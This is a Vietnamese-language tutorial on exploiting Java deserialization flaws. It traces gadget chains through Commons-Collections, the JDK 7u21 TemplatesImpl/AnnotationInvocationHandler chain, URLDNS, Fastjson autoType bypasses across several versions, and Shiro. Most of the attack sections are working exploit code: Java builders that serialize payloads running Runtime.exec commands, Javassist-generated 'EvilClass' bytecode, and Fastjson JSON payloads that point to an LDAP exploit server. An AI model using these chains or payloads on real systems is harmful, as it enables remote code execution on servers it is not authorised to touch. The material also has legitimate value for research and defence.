Phân tích bảo mật mã Java - Tái tạo chuỗi dữ liệu

Phân tích bảo mật mã Java - Tái tạo chuỗi dữ liệu

0x00 Khai thác lỗ hổng

Mã nghiệp vụ

Nói một cách đơn giản, tìm các phương thức readObject/readUnshared

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String encodedData = req.getParameter("data");
    byte[] decodedBytes = Base64.getDecoder().decode(encodedData);
    ByteArrayInputStream byteStream = new ByteArrayInputStream(decodedBytes);
    ObjectInputStream objStream = new ObjectInputStream(byteStream);
    try {
      Object result = objStream.readObject();
      //resp.getWriter().println(result);
    } catch (ClassNotFoundException e) {
      e.printStackTrace();
    } finally {
      objStream.close();
      resp.getWriter().println("Deserialization Test");
    }
}

Các thư viện khác dùng để phân tích (xml, yml, json, v.v.) cũng có thể gặp vấn đề nếu xử lý không đúng do đặc điểm "mọi thứ đều là đối tượng" trong Java:

XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

Chuỗi khai thác

Chuỗi khai thác thường gồm ba phần: điểm kích hoạt, điểm trung gian và điểm thực thi.

Điểm kích hoạt

Điểm kích hoạt khá đơn giản, chủ yếu là readObj

Điểm trung gian

  • Ủy quyền động

Kiến thức liên quan có thể tham khảo ủy quyền động trong Java.

Để thực hiện ủy quyền động cần ba lớp:

  1. Lớp ủy quyền
    Lớp này xử lý logic nghiệp vụ, mục đích của ủy quyền động là chèn các thao tác khác vào thời điểm chạy như logging. Ngoài ra, lớp ủy quyền phải triển khai một giao diện nào đó.
  2. Lớp trung gian
    Lớp này là triển khai của giao diện InvocationHandler, nó giữ một tham chiếu đến đối tượng ủy quyền. Khi lớp ủy quyền gọi phương thức liên quan, sẽ bị chặn lại ở phương thức invoke của lớp trung gian, sau khi chèn thêm thao tác, sử dụng phản xạ để gọi phương thức của lớp ủy quyền.
  3. Lớp ủy quyền
    Lớp này được tạo bằng Proxy.newProxyInstance, kiểu trả về là kiểu giao diện mà lớp ủy quyền triển khai. Các lớp khác sẽ gọi lớp ủy quyền để lấy chức năng tương ứng, lớp ủy quyền là trong suốt.
  • Mã byte Java

Phương thức ClassLoader.defineClass() sau khi chạy, sẽ không thực thi khối static, trong khi Class.newInstance() sẽ thực thi.

Điểm thực thi

Khó khăn lớn nhất trong việc khai thác chuỗi tái tạo là điểm thực thi, sau khi có điểm thực thi, trong hầu hết trường hợp có thể khai thác nhiều chuỗi khác nhau. Vì vậy điểm thực thi nên là ưu tiên đầu tiên trong toàn bộ chuỗi khai thác.

Các cách thực thi lệnh phổ biến:

  • Sử dụng phản xạ với Runtime.getRuntime().exec hoặc java.lang.ProcessBuilder
  • Gọi từ xa JNDI
  • Templates thực thi mã byte
  • Biểu thức EL
  • Các giao diện khác có thể thực thi lệnh

0x01 Phân tích ví dụ

commons-collections

Ở đây phân tích commons-collections cổ điển, trước tiên tìm điểm khai thác, sau đó suy ngược toàn bộ chuỗi.

commons-collections-3.1.jar!/org/apache/commons/collections/functors/InvokerTransformer.class

Trước tiên là phương thức transform trong InvokerTransformer sẽ sử dụng phản xạ để gọi đối tượng truyền vào.

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class

Tiếp theo tìm nơi có thể gọi phương thức này, phương thức transform trong ChainedTransformer sẽ duyệt qua biến lớp iTransformers, gọi phương thức transform của từng thành viên và đưa kết quả trả về vào object, tạo thành gọi nối tiếp.

JDK 1.8

Nhiều bài viết cũ trên mạng chủ yếu tìm các lớp trong JDK 1.7 để khai thác, nhưng thời đại phát triển, JDK 1.8 mới là phiên bản phổ biến nhất hiện nay, các lớp trong JDK 1.7 không còn áp dụng.

commons-collections-3.1.jar!/org/apache/commons/collections/map/LazyMap.class

Tiếp tục tìm nơi có thể gọi, trong phương thức get của LazyMap gọi phương thức transform của biến factory.

commons-collections-3.1.jar!/org/apache/commons/collections/keyvalue/TiedMapEntry.class

Lớp TiedMapEntry có hai phương thức toStringhasCode đều gọi phương thức getValue, trong đó gọi phương thức get của map.

Bây giờ mục tiêu của chúng ta trở thành làm sao kích hoạt phương thức toString của lớp TiedMapEntry.

jdk1.8.0_191.jdk/Contents/Home/src.zip!/javax/management/BadAttributeValueExpException.java

Trong JDK 1.8 tồn tại lớp BadAttributeValueExpException, phương thức readObj của nó trực tiếp gọi phương thức toString của valObj, valObj là thuộc tính val của đối tượng hiện tại, một "cổng vào" hoàn hảo.

Sau khi tìm được một chuỗi pop, bước tiếp theo là xây dựng exp, do không quen lắm với Java, giữa đường có thể chèn một số kiến thức cơ bản.

public class DeserTest {
    public BadAttributeValueExpException createObject(String cmd) throws NoSuchFieldException, IllegalAccessException {
        Transformer[] transformerChain = new Transformer[] {
                    // Đây là điểm mấu chốt
        };
      
        Transformer chainedTransformer = new ChainedTransformer(transformerChain);
        Map utilityMap = new HashMap(); // Map hỗ trợ, không có tác dụng gì
        Map lazyMap = LazyMap.decorate(utilityMap, chainedTransformer); // Phương thức khởi tạo của lazyMap là protected, không thể gọi trực tiếp
        TiedMapEntry tiedEntry = new TiedMapEntry(lazyMap, "utilityKey"); // key có thể là bất kỳ chuỗi nào, không ảnh hưởng

        BadAttributeValueExpException exceptionObj = new BadAttributeValueExpException(null); // Cổng vào
        // val là biến riêng tư, không thể sửa trực tiếp bằng .val
        Field valField = exceptionObj.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exceptionObj, tiedEntry);

        return exceptionObj;
    }

    public static void main(String[] args) throws Exception {
        BadAttributeValueExpException obj = createObject("touch /tmp/success");
        ByteArrayOutputStream byteOutStream = new ByteArrayOutputStream();
        ObjectOutputStream objOutStream = new ObjectOutputStream(byteOutStream);
        objOutStream.writeObject(obj); //
        objOutStream.flush();
        objOutStream.close();

        String encodedStr = Base64.getEncoder().encodeToString(byteOutStream.toByteArray());
        //System.out.println(byteOutStream.toString());
        System.out.println(encodedStr);
    }
}

Thông qua chuỗi pop, khung exp đã được xây dựng, trọng tâm của exp là xây dựng mảng transforms, thực hiện gọi phản xạ. Mục tiêu cuối cùng là thực thi Runtime.getRuntime().exec(), nhưng Java là ngôn ngữ tĩnh, cần sử dụng phản xạ để cấp cho nó một số đặc tính động.

Class<?> runtimeClass = Class.forName("java.lang.Runtime"); // Mọi thứ đều là đối tượng, lớp cũng là một đối tượng

Method getRuntime = runtimeClass.getMethod("getRuntime", null); // Lấy phương thức getRuntime
Runtime runtimeInstance = (Runtime) getRuntime.invoke(null, null); // Gọi phương thức getRuntime để lấy instance của lớp Runtime
runtimeInstance.exec("touch /tmp/success"); // Gọi phương thức exec

Tiếp theo xây dựng transforms theo phản xạ:

Đầu tiên chúng ta cần lấy lớp Runtime tương ứng, ở đây sử dụng:

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ConstantTransformer.class

Phương thức transform của lớp này sẽ trả lại đối tượng truyền vào nguyên trạng:

Transformer[] transformerChain = new Transformer[] {
        new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
          "getMethod",
        new Class[]{String.class, Class[].class}, // Kiểu tham số của phương thức getMethod
        new Object[]{"getRuntime", null} // Tham số truyền khi gọi phương thức getMethod
    ), // Trả về java.lang.Runtime.getRuntime()
    new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, null}
    ), // Trả về một đối tượng Runtime
    new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new String[]{cmd} // Chuyển thành mảng chuỗi
    )
};

Cũng có bạn từng xem payload được xây dựng bởi ysoserial, thói quen của nó là trước tiên định nghĩa một ChainedTransformer chứa Transformer "vô hiệu", sau khi tất cả các đối tượng được lắp đầy mới sử dụng phản xạ để đặt mảng thực tế vào. Lý do làm như vậy tác giả cũng giải thích trong một Issue, chúng ta đọc trực tiếp nguyên văn:

Generally any reflection at the end of gadget-chain set up is done to "arm" the chain because constructing it while armed can result in premature "detonation" during set-up and cause it to be inert when serialized and deserialized by the target application.

JDK 1.7

Dường như không nói về 1.7 cũng không hợp lý ~

commons-collections-3.1.jar!/org/apache/commons/collections/map/TransformedMap.class

Trong phương thức checkSetValue của TransformedMap gọi phương thức transform.

commons-collections-3.1.jar!/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.class

Trong phương thức setValue của lớp nội bộ MapEntry gọi checkSetValue.

jdk1.7.0_21.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class

Trong JDK 1.7 tìm được một điểm vào như thế này, chúng ta cần đảm bảo rằng var5 tức là đối tượng trả về từ .entrySet().iterator().next() là instance của org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry.

commons-collections-3.1.jar!/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.class

Đầu tiên là next.

Sau đó là iterator.

Cuối cùng là entrySet.

Sau khi tìm được toàn bộ chuỗi khai thác, có thể xây dựng exp.

public static Object createObject(String cmd) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
  Transformer[] transformerChain = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
      "getMethod",
      new Class[]{String.class, Class[].class}, // Kiểu tham số của phương thức getMethod
      new Object[]{"getRuntime", new Class[0]} // Tham số truyền khi gọi phương thức getMethod
    ), // Trả về java.lang.Runtime.getRuntime()
    new InvokerTransformer(
      "invoke",
      new Class[]{Object.class, Object[].class},
      new Object[]{null, new Object[0]}
    ), // Trả về một đối tượng Runtime
    new InvokerTransformer(
      "exec",
      new Class[]{String.class},
      new Object[]{cmd} // Chuyển thành mảng chuỗi
    )
  };
  Transformer chainedTransformer = new ChainedTransformer(transformerChain);

  Map map = new HashMap();
  map.put("value", "avalue"); // Giá trị key phải là value
  Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

  Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Lớp không thể khai báo trực tiếp, cần gọi phản xạ
  Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  constructor.setAccessible(true);
  Object object = constructor.newInstance(Target.class, transformedMap);
  return object;
}

Nhìn vào ysoserial_CommonCollection1 không sử dụng exp trên mà sử dụng phương pháp ủy quyền động để kích hoạt.

Chúng ta phát hiện jdk1.7.0_21.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class bản thân đã là một lớp trung gian:

Trong phương thức invoke gọi phương thức get:

Điều này giống một chút với exp JDK 1.8:

commons-collections-3.1.jar!/org/apache/commons/collections/map/LazyMap.class

exp như sau:

public static Object createObject(String cmd) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    Transformer[] transformerChain = new Transformer[] {
      //......    
    };
    Transformer chainedTransformer = new ChainedTransformer(transformerChain);

    Map map = new HashMap();
    Map lazyMap = LazyMap.decorate(map, chainedTransformer);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Lớp không thể khai báo trực tiếp, cần gọi phản xạ
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);

    InvocationHandler ih = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); // Instance hóa lớp trung gian
    Map mapProxy = (Map) Proxy.newProxyInstance(CommonCollection1.class.getClassLoader(), new Class[] {CommonCollection1.class}, ih); // Instance hóa lớp ủy quyền
    Object object = constructor.newInstance(Target.class, mapProxy); // Đây là tạo đối tượng dùng để serialize, lưu ý phân biệt với trên
    return object;
}

JDK

Jdk7u21

Vẫn theo phương pháp phân tích ngược từ điểm khai thác.

Điểm khai thác nằm trong phương thức defineTransletClasses của jdk1.7.0_21.jdk/Contents/Home/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java:

defineClass() là giải mã tệp byte array sau đó tạo thành tệp class, tức là tên tệp.class của lớp. Thường dùng trong việc viết lại findClass, trả về một Class. Nếu không muốn tải class vào JVM, cũng có thể sử dụng riêng getConstructor và newInstance để instance hóa một đối tượng.

Qua việc thiết lập _bytecodes có thể tải class chỉ định, hai chỗ phía sau là những điểm cần lưu ý khi xây dựng payload.

Tiếp theo tìm phương thức gọi defineClass, trong phương thức getTransletInstance gọi phương thức defineTransletClasses, sau đó gọi newInstance.

Sau đó trong newTransformer gọi phương thức getTransletInstance:

Bây giờ mục tiêu của chúng ta trở thành gọi phương thức newTransformer:

Trong phương thức equalImpl của jdk1.7.0_21.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class:

Đầu tiên lấy tất cả phương thức của type (biến thành viên của lớp AnnotationInvocationHandler), sau đó qua phản xạ gọi tuần tự các phương thức tương ứng của tham số truyền vào var1.

Trong phương thức invoke, nếu thỏa điều kiện, sẽ gọi phương thức equalImpl.

AnnotationInvocationHandler là một lớp trung gian trong ủy quyền động, khi lớp ủy quyền gọi phương thức sẽ vào phương thức invoke.

Theo đoạn mã trên, chúng ta cần gọi phương thức equals.

Trong phương thức put của jdk1.7.0_21.jdk/Contents/Home/src.zip!/java/util/HashMap.java:

Vì đặc điểm của set (phần tử không trùng lặp), chức năng của phương thức này là khi truyền vào Entry mới, sẽ so sánh với Key (templates) của Entry trước đó, kiểm tra xem hai đối tượng có bằng nhau không, nếu bằng nhau thì giá trị mới sẽ thay thế giá trị cũ, sau đó trả về giá trị cũ.

Nếu muốn tận dụng lỗ hổng này, cần truyền vào map hai Entry, nói cụ thể hơn là k (e.key) là đối tượng độc hại được xây dựng sẵn, key là đối tượng ủy quyền, khi gọi phương thức equals sẽ truyền sâu hơn đối tượng độc hại.

Trước khi thực thi key.equals, cần thỏa mãn hai điều kiện:

e.hash == hash
e.key != key

Hãy xem hash được tạo như thế nào:

Có thể thấy, chỉ có k.hashCode() ảnh hưởng đến kết quả hash, đối với đối tượng thông thường, k.hashCode() sẽ trả về trực tiếp; đối với đối tượng lớp ủy quyền, sẽ vào phương thức invoke, thêm các thao tác khác:

jdk1.7.0_21.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class

Tiếp tục đi sâu:

Ở đây sẽ duyệt thuộc tính memberValues của lớp trung gian, tính toán theo quy tắc nhất định rồi cộng lại, từ đó nhận được hash của lớp ủy quyền, quy tắc tính toán là:

127 * (var3.getKey().hashCode() ^ memberValueHashCode(var3.getValue())

Nếu var3.getKey().hashCode() là 0, thì hash là giá trị của memberValueHashCode(var3.getValue()).

Đi sâu phương thức memberValueHashCode:

Nếu value không phải mảng, thì trả về trực tiếp hashcode của value.

Tóm lại, điều kiện để gọi được phương thức equals là, thiết lập memberValues của lớp ủy quyền thành map chỉ có một Entry, key.hashCode là 0, value là lớp độc hại.

Cuối cùng trong phương thức readObject của jdk1.7.0_21.jdk/Contents/Home/src.zip!/java/util/HashSet.java gọi phương thức put:

Đến đây toàn bộ chuỗi khai thác đã được phân tích xong, xây dựng exp như sau:

public static Object createObject(String cmd) throws Exception {
    // Xây dựng lớp độc hại qua mã byte
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass ctClass = pool.getCtClass(Jdk7u21.class.getName());
    String command = "java.lang.Runtime.getRuntime().exec(\"" +
      cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
      "\");";
    ctClass.makeClassInitializer().insertBefore(command);
    ctClass.setName("EvilClass" + System.nanoTime());
    ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    byte[][] bytecodeArray = new byte[][]{ctClass.toBytecode()}; // Lấy mã byte

    TemplatesImpl template = TemplatesImpl.class.newInstance();
    Reflections.setFieldValue(template, "_bytecodes", bytecodeArray);
    Reflections.setFieldValue(template, "_name", "Necessary" + System.nanoTime()); // _name không được null

    Map map = new HashMap();
    // f5a5a608 là chuỗi kỳ diệu, hashCode của nó là 0;
    // value là lớp độc hại, đảm bảo hashCode giống với value được truyền vào trước đó
    // Nhưng ở đây trước tiên đưa vào giá trị ngẫu nhiên, sau khi tất cả lớp được khai báo xong mới thay bằng lớp độc hại
    // Mục đích là ngăn chặn chuỗi khai thác kích hoạt sớm dẫn đến payload không hiệu lực
    // Có thể làm thí nghiệm, nếu ở đây là map.put("f5a5a608", template);, thì trong quá trình serialize lệnh sẽ được thực thi
    map.put("f5a5a608", "foo");

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Lớp trung gian không thể khai báo trực tiếp, cần gọi phản xạ
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);

    InvocationHandler ih = (InvocationHandler) constructor.newInstance(Target.class, map); // Instance hóa lớp trung gian
    Reflections.setFieldValue(ih, "type", Templates.class); // equalImpl lấy tất cả phương thức của thuộc tính type và gọi
    Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[] {Templates.class}, ih); // Instance hóa lớp ủy quyền

    LinkedHashSet linkedSet = new LinkedHashSet(); // Phải dùng LinkedHashSet, nếu không thứ tự phần tử truyền vào sẽ bị loạn
    linkedSet.add(template); // Trước tiên đặt lớp độc hại
    linkedSet.add(proxy); // Sau đó đặt lớp ủy quyền
    map.put("f5a5a608", template); // Đặt lớp độc hại thật sự vào map
    return linkedSet;
}

Sử dụng công cụ phản xạ của ysoserial, mã nhìn gọn hơn một chút.

JRE8u20

Sâu - Payload tái tạo Java JRE8u20

URLDNS

Chuỗi khai thác này cũng nằm trong JDK, không cần thư viện bên ngoài. Vai trò của chuỗi này là gửi yêu cầu dns, rất tiện lợi khi xác minh sự tồn tại của lỗ hổng tái tạo, đồng thời gọi cũng khá đơn giản, ở đây nói sơ qua. Lưu ý là Java có cache TTL mặc định, phân giải DNS sẽ được cache (mặc định 10s), vì vậy có thể xảy ra tình huống lần đầu nhận log DNS, sau đó có thể không nhận được.

Trước tiên trong phương thức hashCode của jdk1.7.0_21.jdk/Contents/Home/src.zip!/java/net/URLStreamHandler.java, sẽ gọi phương thức getHostAddress cố gắng lấy ip tương ứng với url, ở đây sẽ gửi yêu cầu dns, có thể sử dụng nền tảng dns để nhận.

jdk1.7.0_21.jdk/Contents/Home/src.zip!/java/net/URL.java

Cần đảm bảo hashCode là -1.

jdk1.7.0_21.jdk/Contents/Home/src.zip!/java/util/HashMap.java

hashmap sẽ dùng key của Entry để tính hash.

Cuối cùng kích hoạt trong phương thức readObjet của Hashmap.

Fastjson

Vì fastjson là thư viện phân tích json, nên điểm kích hoạt nằm ở nơi phân tích json:

JSON.parseObject(jsonString, Object.class, config, Feature.SupportNonPublicField);
JSON.parse(jsonString, Feature.SupportNonPublicField); // Cách viết phổ biến hơn

Cần lưu ý tham số Feature.SupportNonPublicField, trường này được giới thiệu trong **fastjson 1.2.22**, sau khi thiết lập mới có thể tái tạo thuộc tính riêng tư của đối tượng.

Trước tiên xem exp:

public static String getJsonString(String cmd) throws CannotCompileException, NotFoundException, IOException {
      // Xây dựng lớp độc hại
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass ctClass = pool.getCtClass(FastJson.class.getName());
    String command = "java.lang.Runtime.getRuntime().exec(\"" +
      cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
      "\");";
    ctClass.makeClassInitializer().insertBefore(command);
    ctClass.setName("EvilClass" + System.nanoTime());
    ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    String evilCode = Base64.encodeBase64String(ctClass.toBytecode()); // Lấy mã byte

    final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    return "{\"@type\":\"" + NASTY_CLASS +
      "\",\"_bytecodes\":[\""+evilCode+"\"]," + // Lưu ý _bytecodes là mảng
      "'_name':'necessary'," + // Trước khi đọc mã byte có kiểm tra, không được rỗng
      "'_tfactory':{}," + // Một số phiên bản JDK nếu không thiết lập sẽ báo lỗi
      "\"_outputProperties\":{}}\n"; // Kích hoạt phương thức getOutputProperties
}

Điểm khai thác sử dụng là JDK7u21 được đề cập phía trên:

jdk1.7.0_21.jdk/Contents/Home/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java phương thức defineTransletClasses

Trước khi phân tích chuỗi gọi, trước tiên cần hiểu một số đặc điểm của fastjson.

Person person = new Person();
person.name = "blue";
person.length = 18;

String s = JSONObject.toJSONString(person);
String s1 = JSONObject.toJSONString(person, SerializerFeature.WriteClassName);

System.out.println(s);
System.out.println(s1);

Object parse = JSON.parse(s);
Object parse1 = JSON.parse(s1);

System.out.println("type:"+ parse.getClass().getName() +" "+parse);
System.out.println("type:"+ parse1.getClass().getName() +" "+parse1);

//output
/*
{"length":18,"name":"blue"}
{"@type":"simple.Person","length":18,"name":"blue"}
type:com.alibaba.fastjson.JSONObject {"name":"blue","length":18}
type:simple.Person Person{name='blue', length=18}
*/

Có thể thấy nếu trong quá trình serialize thiết lập SerializerFeature.WriteClassName, chuỗi json nhận được sẽ có thuộc tính @type, dùng để chỉ định lớp tái tạo.

Đồng thời fastjson trong quá trình phân tích json sẽ gọi hàm tạo không tham số, setter, getter của lớp tương ứng, và gọi getter có điều kiện nhất định:

fastjson-1.2.24-sources.jar!/com/alibaba/fastjson/util/JavaBeanInfo.java

  • Chỉ có getter không có setter
  • Tên hàm >= 4 ký tự
  • Không phải hàm tĩnh
  • Tên hàm bắt đầu bằng get, ký tự thứ tư là chữ hoa
  • Hàm không có tham số
  • Kế thừa từ Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

Thỏa mãn điều kiện sẽ liên kết thuộc tính và getter, bỏ vào danh sách. Vì vậy trong lớp jdk1.7.0_21.jdk/Contents/Home/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java này tìm phương thức getter thỏa mãn điều kiện:

Sau đó fastjson sẽ phân tích thuộc tính của chuỗi json truyền vào, tìm phương thức tương ứng trong danh sách đã đề cập trước đó, đáng chú ý là trong smartMatch, nếu thử khớp thuộc tính thất bại, sẽ xóa các ký tự như _ khỏi thuộc tính:

fastjson-1.2.24-sources.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java

Vì vậy trong payload chúng ta submit thuộc tính _outputProperties vẫn có thể gọi phương thức getOutputProperties. Ngoài ra FastJson khi trích xuất trường byte[] sẽ giải mã Base64:

fastjson-1.2.24-sources.jar!/com/alibaba/fastjson/serializer/ObjectArrayCodec.java

fastjson-1.2.24-sources.jar!/com/alibaba/fastjson/parser/JSONScanner.java

Vì vậy nội dung của thuộc tính _bytecodes chúng ta submit cần base64encode.

jndi

Từ quá trình tái tạo trước có thể thấy, do cần thiết lập Feature.SupportNonPublicField, phạm vi khai thác lỗ hổng bị hạn chế rất nhỏ, đồng thời nhà phát triển cũng sẽ không chủ ý thiết lập giá trị này, vậy có phương pháp phổ biến nào không?

Câu trả lời là jndi, hình ảnh dưới đây có thể giải thích rõ mối quan hệ giữa các thuật ngữ phổ biến như jndi, rmi, ldap, v.v.:

Cốt lõi của phương pháp này là kiểm soát ứng dụng gọi dịch vụ độc hại từ xa do chúng ta thiết lập.

Hai công cụ tiện lợi:

https://github.com/mbechler/marshalsec có thể nhanh chóng khởi động server rmi/ldap

https://github.com/c0ny1/FastjsonExploit khung exp chuyên cho fastjson

Phân tích sâu:

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

Cần lưu ý phương pháp khai thác này có giới hạn phiên bản:

  • Phương pháp dựa trên rmi: áp dụng phiên bản JDK: JDK 6u132, JDK 7u122, JDK 8u113 trước.
  • Phương pháp dựa trên ldap: áp dụng phiên bản JDK: JDK 11.0.1, 8u191, 7u201, 6u211 trước.

Phương pháp vượt qua phiên bản cao có thể xem bài viết: https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

Đối với rmi, biện pháp phòng vệ của JDK là trong jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.class thêm kiểm tra:

Ở đây trustURLCodebase mặc định là false, nếu muốn getObjectInstance thực thi bình thường, cần getFactoryClassLocation trả về rỗng. Ở đây cần tìm một lớp đã tồn tại trong classpath để đạt mục đích.

Chi tiết tham khảo [Phân tích Bypass JNDI Injection] (https://www.cnblogs.com/Welk1n/p/11066397.html).

Đối với ldap, dù không thể trả về codebase nữa, nhưng có thể trả về trực tiếp dữ liệu serialize, điều này yêu cầu biết gadget thư viện mà mục tiêu sử dụng, độ khó khai thác tăng lên nhiều.

Bypass bản vá

1.2.25-1.2.41

Sau khi xuất hiện lỗ hổng trong 1.2.24, chính thức thêm một số biện pháp phòng vệ.

Trước tiên là mặc định tắt autoType, lần bypass này cũng dựa trên điều kiện mở autoType.

Khi tải lớp sẽ tiến hành kiểm tra danh sách đen trắng:

fastjson-1.2.25-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java

Danh sách đen do chính thức duy trì, danh sách trắng do nhà phát triển tự duy trì:

Vấn đề nằm ở chỗ sau khi kiểm tra tải lớp:

fastjson-1.2.25-sources.jar!/com/alibaba/fastjson/util/TypeUtils.java

Nếu tên lớp bắt đầu bằng L và kết thúc bằng ;, sẽ xóa hai ký tự này. Khi kiểm tra danh sách đen sử dụng startWith, vì vậy chúng ta submit

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}

có thể vượt qua kiểm tra tên lớp.

1.2.42

Bản vá vô hiệu, nếu tên lớp bắt đầu bằng L và kết thúc bằng ;, sẽ xóa hai ký tự này, sau đó kiểm tra, vậy thêm một lớp L; nữa là được.

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}

Một điểm đáng chú ý khác là fastjson chuyển danh sách đen thành hash, tăng độ khó khai thác lỗ hổng.

Có thể lấy văn bản rõ danh sách đen bằng cách duyệt:

https://github.com/LeadroyaL/fastjson-blacklist

1.2.43

Sửa đơn giản thô bạo, nếu tên lớp bắt đầu bằng LL trực tiếp ném ngoại lệ.

1.2.47

Một số bypass trước đều dựa trên điều kiện autoType được mở, tuy nhiên autoType mặc định là đóng, vượt qua autoType cũng trở thành phần cốt lõi và khó khăn nhất khi tấn công fastjson.

Lần này lỗ hổng thông qua java.lang.Class, tải lớp JdbcRowSetImpl vào cache map, từ đó vượt qua kiểm tra autotype.

payload:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1099/Exploit","autoCommit":true}}}

Trước tiên vẫn là checkAutoType:

fastjson-1.2.47-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java

Nếu autoType là đóng, có thể thấy không tiến hành kiểm tra danh sách đen. Đầu tiên sẽ thử lấy class tương ứng với tham số @type từ một map (cache), nếu không có sẽ gọi phương thức findClass.

fastjson-1.2.47-sources.jar!/com/alibaba/fastjson/serializer/MiscCodec.java

Sau đó sẽ thử lấy giá trị thuộc tính val, ở đây chúng ta thiết lập thành com.sun.rowset.JdbcRowSetImpl.

Sau đó, nếu giá trị @typeClass, sẽ truyền strVal vào phương thức loadClass:

fastjson-1.2.47-sources.jar!/com/alibaba/fastjson/util/TypeUtils.java

Nếu cache được mở, sẽ đưa lớp này vào map, như vậy lớp độc hại chúng ta cần sử dụng đã vượt qua lọc và đưa vào context chạy.

Qua trước chúng ta biết, khi phân tích bước hai gọi, sẽ cố gắng gọi phương thức getClassFromMapping, lúc này com.sun.rowset.JdbcRowSetImpl đã ở trong đó.

1.2.48

Fastjson chính thức sửa lỗ hổng luôn đơn giản thô bạo, đặt cache thành mặc định tắt, xong chuyện...

Shiro

Chỉ dựa vào thư viện phụ thuộc trong shiro không có gadget phù hợp, khai thác cần dựa vào các phụ thuộc khác trong toàn bộ dự án, ở đây ghi lại một số điểm lưu ý.

Trước tiên về thiết lập môi trường, do shiro phiên bản 1.2.4 khá cũ, phụ thuộc JDK 1.6.

JDK 1.6 trên mac java website không có, cần tải từ apple website https://support.apple.com/kb/DL1572?locale=zh_CN

Đồng thời giới thiệu công cụ quản lý đa phiên bản java https://github.com/jenv/jenv.

Thứ hai khi debug động, cần sửa một số thứ trong shiro/samples/web/pom.xml:

<!--  Thêm -->
<properties>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
</properties>

<!--  Sửa -->
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  Ở đây cần thiết lập jstl thành 1.2, nếu không sẽ báo lỗi -->
    <version>1.2</version> 
    <scope>runtime</scope>
</dependency>

Sau đó import dự án vào idea, cấu hình tomcat local server là được.

Khi biên dịch cũng sẽ báo lỗi, cần tạo toolchains.xml trong ~/.m2/, nội dung như sau:

<?xml version="1.0" encoding="UTF8"?>
<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
       <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

Cuối cùng là một số điểm lưu ý về khai thác lỗ hổng:

Phiên bản commons-collections đi kèm shiro là 3.2.1, sử dụng trực tiếp payload trong ysoserial sẽ báo lỗi, lý do là:

Shiro resolveClass sử dụng ClassLoader.loadClass() chứ không phải Class.forName(), mà ClassLoader.loadClass không hỗ trợ tải class kiểu mảng.

Phương pháp giải quyết vấn đề này là sử dụng JRMP, chuỗi khai thác không sử dụng mảng, nhưng test cục bộ không thành công.

